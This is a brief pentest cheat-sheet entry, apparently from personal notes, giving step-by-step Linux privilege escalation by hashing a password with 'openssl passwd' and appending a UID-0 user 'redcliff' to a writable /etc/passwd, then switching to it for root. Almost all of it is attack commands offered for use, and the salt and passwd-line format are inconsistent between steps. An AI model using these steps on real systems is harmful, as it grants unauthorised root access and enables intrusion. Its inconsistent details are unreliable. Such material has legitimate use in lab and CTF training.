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# OpenSSL privesc

**#This privesc presupposes a low level ssh connection with the ability to edit /etc/passwd**

**1]From attacking machine create a unique ssl string for a new user: redcliff**

```
openssl passwd -1 -salt redlciff pass123  
 
$1$recliff$NuDUpbLxJXpyH5FN4yqix/
```

**2]From target**

```
ls -la /etc/passwd 

nano /etc/passwd
```

**3] Paste the hashed password for new user at the bottom.**

<mark style="color:red;">redcliff:</mark>$1$recliff$NuDUpbLxJXpyH5FN4yqix/<mark style="color:red;">:0:0:/root/root:/bin/bash</mark>

Parts highlighted in red need to be added separately.

**4]Save file and exit, then switch to new user**

```
su redcliff

pass: pass123

Root
```


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